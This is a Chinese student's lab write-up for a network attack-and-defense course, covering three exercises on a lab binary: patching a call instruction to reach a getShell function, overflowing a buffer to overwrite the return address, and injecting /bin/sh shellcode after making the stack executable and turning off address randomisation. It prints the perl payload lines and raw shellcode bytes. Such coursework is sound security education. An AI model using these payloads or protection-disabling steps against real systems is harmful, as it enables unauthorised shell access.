zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165337 Exp1 PC平台逆向破解(BOF实验)

    实验内容

    • 直接修改程序,跳转到getShell函数。
    • 使用BOF攻击,覆盖返回地址,触发getShell函数。
    • 注入一个自己的shellcode并运行。

    任务一:直接修改程序,跳转到getShell函数。

    1.首先使用chmod +x pwn1变成可执行文件,提高权限
    2.使用objdump -d pwn1,反汇编pwn1文件

    在80484b5: e8 d7 ff ff ff call 8048491 这条指令调用08048491处的foo函数
    如果想让函数调用getShell,需要修改d7 ff ff ff。根据foo函数与getShell地址的偏移量,计算地址:

    • 0x08048491 - 0x0804847d = 0x00000014 //计算地址差
    • 0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
      使用vi指令编辑,进去之后显示乱码,然后使用:%!xxd命令转换为16进制找到d7

    按i将d7改为c3

    再使用:%!xxd -r换回乱码。保存之后退出

    再次使用objdump -d pwn1,查看被修改后的文件

    执行程序pwn1

    任务一完成

    任务二:使用BOF攻击,覆盖返回地址,触发getShell函数。

    使用gdb进行调试程序,运行程序,输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
    得到结果

    得到一个错误的返回地址0x30393837
    因为是小端机器,所以说明是后面四位发生了溢出,覆盖了返回地址,那么我们如果想要让他跳转到其他地方就需要修改后四位地址,
    那我们只需要把最后四位写为xd7x84x04x08(即shellcode的起始地址0x080484d7)就完成了
    使用:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input管道命令
    就攻击成功了

    任务三:注入一个自己的shellcode并运行。

    注入shellcode的意思是shellcode在输入的时候被放入堆栈,在堆栈里面就有机会把返回地址指向shellcode,实现攻击。
    首先要设置堆栈可执行
    execstack -s 20165337pwn2 //设置堆栈可执行
    execstack -q 20165337pwn2 //查询文件的堆栈是否可执行
    若不能成功则使用apt-get install execstack进行更新
    然后查询一下是否可执行若为X 20165337pwn2则为可执行

    然后我们还需要关闭地址随机化
    使用echo "0" > /proc/sys/kernel/randomize_va_space关闭,否则每次执行esp的值都会发生变化
    整个过程中我们需要注入一段代码,然后构造一个构造一个input_shellcode
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    一个窗口运行(cat input_shellcode;cat) | ./20165337pwn2
    另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
    然后在gdb里面输入attach 进程号
    (gdb) disassemble foo反编译查看地址

    得到0xffffd30c
    计算d30c+0004为d310
    然后修改input_shellcode
    最终攻击成功

  • 相关阅读:
    初识Comet技术
    巧用JS中的join方法操作字符串
    jquery load ($.load) 事件用法与分析(转)
    jQuery的Ajax操作小结——$.ajax和$.getJSON等用法小结
    lua c api
    __index
    lua 元表
    闭包实现迭代器
    lua 闭包
    select例子
  • 原文地址:https://www.cnblogs.com/y963976867/p/10534254.html
Copyright © 2011-2022 走看看